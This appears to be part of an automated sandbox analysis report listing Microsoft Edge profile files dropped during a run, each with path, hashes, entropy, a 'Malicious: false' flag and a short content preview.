SHA-256:	AB9BAC79A8569DA9EF3E1D98BD17A6B0BA25101FE9BBF546EAD18AC299E59E90
SHA-512:	280573432D40AAB2283B80BF228F21A9E321392D19DD0104FFFA4A2BF087760A4AEDFB050B6DB1F54412F2738F4F5985CD812AFE644BC01A5DA92018045EFE69
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6edf0c68-8199-4470-95a3-4eeecbb93668"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732728780"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6b23bd89-500d-4134-89ec-73c5af5a06ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089523937449535
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kCTKKGf4OvtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynLt5b7VLyMV/YoskFoz
MD5:	14FA54F7FEC3323E37823EFC2C4F0D18
SHA1:	8A4F3777578AAC75B9AF70B696CD1ED31FEAA66F
SHA-256:	EEA644F2C2DE8747D94B65CC6E3E95429D2AC333056F80BF7F482A9DBE8982FF
SHA-512:	7F38ED0A4FC42DAEF07518C2841BFDD26CC17AB44E65361A327AEF759AA716BED0C63318330595EF31150F7B25E3D342381252904F5D127B7BD7DCDBC5FF1D22
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\0feb9ef2-cfd9-4eb3-9431-1b578223cd37.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674757C5-6D4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04759799016017952
Encrypted:	false
SSDEEP:	192:I290m5tmjnOAUJY8J/7qiRDs0JVFg8XSqIGhEHsBzhEhNGMv+RQ8L/zSh5n8y08s:n90UtYuF66nhcxmH2h508T2RGOD
MD5:	752E64C9D7552C7E89E2CEC7038395F1
SHA1:	EAA899AE3E030205ED60D339B652DDC8D253171F
SHA-256:	3D599DFFB15B923C45D9EA1CA1347935BB3ED339A6339A409E80EF6B647FCD33
SHA-512:	A4971C18801013285B4BB71874B8188A76661CA160D69E1A2D6DF6108BFB12FD1CC706321D72E9ED42785453D2F4EB4F4ECEA706BD700513CC3FB7DBB4C39CA3
Malicious:	false
Preview:	...@..@...@.....C.].....@................k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".harbfe20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......y...... .2.......,...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674757C6-11A0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45192066547658066
Encrypted:	false
SSDEEP:	6144:Sxe97HmPGkcuvuN48a7QJqzamDaHGejT:bkcfN4Tu
MD5:	1259F797D526AA62F3E9B1F11C687509
SHA1:	4E7A8447912FBB0458571C8CED19E400F0AF1CB0
SHA-256:	2586BBE4B0EBA37C476FE0F8FF4E7EDA0A0F01BB5EC5F85539383933B0399C4C
SHA-512:	04FDEEC166AAFFF7AFEB3E55B49490E2EC245DCE98F23DABD5908109861FB37D99D3C0FE618FBE67E8D3266C8186605F0476CE3C067A575DF1048456E268ABEB
Malicious:	false
Preview:	...@..@...@.....C.].....@...................p...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".harbfe20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........V...... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\15d31450-55a5-4f47-9894-91dd6955a0d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1eef8147-a116-4b1d-bf85-1d6b52fa6d3b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.560843402520523
Encrypted:	false
SSDEEP:	768:561Oz+7pLGLPICWPXPf8g8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPMFu/afrwZJFMk:561Oz+cPICWPXPf8gu1jaeMFaasZJFVB
MD5:	976613F7F46603BEEE1126BFFB0649FD
SHA1:	E1264C0F27AADDD2613FF05347CD48E4A6CE431A
SHA-256:	6A6CEBAE84742172BA07FA12E7E7D2DDA6786092A082D2C5FFE28A2166E83904
SHA-512:	8170EF476CA607FC909849C3B1E1DF984FB6C0C852023485DDF68056C78BC9CAC595BC726B1425173982706DD1895943B3F220BD97632D336A8EEF825273F857
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377202374725362","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377202374725362","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3328a2bf-fa6d-4fda-b779-ffe476c7e8dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17261), with no line terminators
Category:	dropped
Size (bytes):	17263
Entropy (8bit):	5.495957135585825
Encrypted:	false
SSDEEP:	384:stmPGQSu49s5AjtJw93ix0rXeoI4bGFQwQ:sgOXurAjGyIbGWH
MD5:	765A489F7E93A30186991CE50095570F
SHA1:	6E4ADD7A19A568DB7D46676D8C501BCC790673F8
SHA-256:	AB7A43B1087DD61742477C2DE67880B69EB76EFBB1FDE2204EB90CE1DB7EBEF8
SHA-512:	9BA1832C9769C630C86A296634304703E731DAAD47854C2E7C08F4D8278CEBB4E81FCBBAA89EA110CC80350D4F528552B1353F0A30A3D9F66EB2ADCB1FEAF90A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377202375438869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4675557e-7211-46c3-a4a1-2284f3188d3a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17425), with no line terminators
Category:	dropped
Size (bytes):	17427
Entropy (8bit):	5.492246907491282
Encrypted:	false
SSDEEP:	384:stmPGQSu49s5AjtJw93ix0rXeoI4bGFQwB9:sgOXurAjGyIbGWI
MD5:	9A6AD11EE9ED981D51ED5AC82DD28120
SHA1:	BF8F3588E9D3C5B9A02CD7E475A0415141489531
SHA-256:	EB52C89AC9CBC7EE9B4C3AB3C21874D2F9253DCFDBE00E0FE099CCFE6160AC31
SHA-512:	DFAB24E4A1E45171460E73D227891849247EAFBEFC88242DF14174DEB50C0F6C55532142809702D3586B16453794E22957AF29BFAC42B985EBFAA0A95E493B7C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377202375438869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\62d15007-01aa-486e-bee3-bbe8aae60a07.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16483), with no line terminators
Category:	dropped
Size (bytes):	16485
Entropy (8bit):	5.456654789900964
Encrypted:	false
SSDEEP:	384:stmPGQSu49s5AjtJH3ix0rXeoITbGFQwy:sgOXurAjPyDbGW1
MD5:	ED169F296B9DA260020CF2BA1BFF4A6D
SHA1:	F3787F030B04B4B57D2098AC738EB767815DAF2C
SHA-256:	4ACB9A863193110F917FE92B275BE43CBB1EBD043D81FBE301868B2AD20FD766
SHA-512:	C110FE00D8572E0960A9F6DE1413D6E837366E8191A7E41402B55632710758F4A38718811798BB1003D413E86D7E91DF71F9DE9743D9FA05C427610067A1C52F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377202375438869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\650b2f96-b78d-4e5f-a76c-958069badb16.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17426), with no line terminators
Category:	dropped
Size (bytes):	17428
Entropy (8bit):	5.492485195692255
Encrypted:	false
SSDEEP:	384:stmPGQSu49s5AjtJw93ix0rXeoI4bGFQwl9:sgOXurAjGyIbGWm
MD5:	EA780A7F2E9C8BF474021C09C8344473
SHA1:	CAD2576B1E03E202E856B6D518F5AAC6D94DF575
SHA-256:	E3CA661D264655E15CEF899B942163CC9D277C06A1D072DA54F7E3E787AE4C1A
SHA-512:	53A148FC4444F4DA26B261E85D2276C59398017C3152E846164F31EAB7B39CC70403BE3BCC3FA6EE8C673D4DAEEDA1B1497315C307D464A1E151BA1625589F82
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377202375438869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6faf52f4-d9ed-4163-8d78-f116841307ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.1113665667369945
Encrypted:	false
SSDEEP:	192:strikdp9sDFAjyaNP9ka3GPr8abV+FX08QAMaPOYJ:stmQ9s5AjtJH3GbGFQa
MD5:	29C77EB192C97FBAE5E5A7CA6936B08E
SHA1:	D5EF366CA0C73DFAEF225521BED389A9DD6627B0
SHA-256:	48EBB56F0CFAD4BF99A3BCD8A980377A0809FA01D2A70683655A40322B0A7F9D
SHA-512:	F426C04CBB7EE7E6D715F504062D668AE9BCA60E03777DB6FC90F38ECD833CADF2ED493A047064A888E1905EFBE344F604F8860EB784A84B76E13572CF47DCFC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377202375438869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\76caba57-705a-4010-8ae7-02eb9489d125.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7c46a650-21ea-43da-ab34-c1b9d8ea3751.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.554547669240184
Encrypted:	false
SSDEEP:	768:561Oz+7pLGLPICWPXPf8g8F1+UoAYDCx9Tuqh0VfUC9xbog/OVAu/afrwZJF5qKt:561Oz+cPICWPXPf8gu1jaxaasZJFYFt8
MD5:	6F11A6E2917A998596D43E3D80656BD5
SHA1:	87EE9B4DE41B73EAC9507FF0EFA1B5F455AC01BB
SHA-256:	1418428D887087E28A93D73CB793D8758B66771200741658BA5768A378A35789
SHA-512:	36F422A89E60E771240817541C2491921D0D7F05CBFDD6D7EF7C2EE55665C6E7145EB67C09648D996D501C8F65CD5CF47DF2BA8FF47C3A8FA2826E58250A728E
Malicious:	false
